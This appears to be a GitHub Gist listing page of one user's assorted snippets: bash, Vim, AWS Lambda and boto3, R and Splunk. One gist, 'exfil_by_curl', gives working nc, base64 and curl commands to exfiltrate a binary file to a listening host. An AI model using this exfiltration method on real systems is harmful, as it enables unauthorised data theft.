Skip to content

Instantly share code, notes, and snippets.

# Where $1 is a file, this reads and prints each line
# The idea is, replace the echo with something else that processes each line
while read line
do
echo "Line is: $line"
done < $1
@packetchef
packetchef / .bash_profile
Created July 21, 2020 23:35
My sweet bash profile for macOS
# Simple PS1 - we don't actually use this because we redefine PS1 later
if [ -n "$PS1" ]; then PS1='\h:\w \u\$ '; fi
# Make bash check it's window size after a process completes
shopt -s checkwinsize
PATH="/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:~/bin:/usr/local/go/bin"
export PATH
export GOPATH=$HOME/src/go
# My VIM config
# You can also call each of these individually from a : command prompt
# Clear last search highlighting
noh
# Do case-sensitive search
set noic
# Do case-insensitive search
4pSM4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSQCuKUgiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIOKUgOKUgOKUgOKUgOKUgOKUgCAgICAgICAgICAgICAgIOKUgOKUgOKUgOKUgOKUgOKUgOKU
const AWS = require('aws-sdk');
const s3 = new AWS.S3();
export.handlers = async (event) => {
console.log('Loading function');
const allKeys = [];
await getKeys({Bucket: 'my-bucket-here'}, allKeys);
return allKeys;
};
library(ggplot2)
library(dplyr)
library(tibble)
library(tidyr)
NumRolls <- 6000
DiceSides <- 6
NumImages <- 300
PlotToScreen <- FALSE
SaveToFiles <- TRUE
@packetchef
packetchef / exfil_by_curl
Created April 2, 2020 12:03
An inelegant but functional method to exfiltrate binary data when all you have on the source host is curl
On target host:
$ nc -l 9999 > myincomingfile.b64
On source host:
$ base64 gold.bin > gold.b64
# For large files, curl will wait for a 100-continue before sending data - add an empty Expect header to avoid this
$ curl -H 'Expect:' -F attachment=@gold.b64 http://target:9999
On target host:
index=logs1
| eval indextime=strftime(_indextime,"%Y-%m-%d %H:%M:%S")
| table _time indextime
@packetchef
packetchef / aws_value_for_specific_tag.py
Created March 20, 2020 18:24
Return the value for a tag with a specific name
tags = [{'Key': 'Name', 'Value': 'tag testing'}, {'Key': 'Ec2ImageBuilderArn', 'Value': 'arn:aws:imagebuilder:us-east-1:123412341234:image/my-build/1.0.0/1'}]
nameTagKey = 'Name'
tagName = [ x['Value'] for x in tags if x['Key'] == nameTagKey ][0]
# Should return 'tag testing'
print(tagName)
@packetchef
packetchef / aws_available_profiles.py
Created March 20, 2020 18:21
Return a list of configured profiles
import boto3
available_profiles = boto3.session.Session().available_profiles
# Should return a list of configured profiles
print(available_profiles)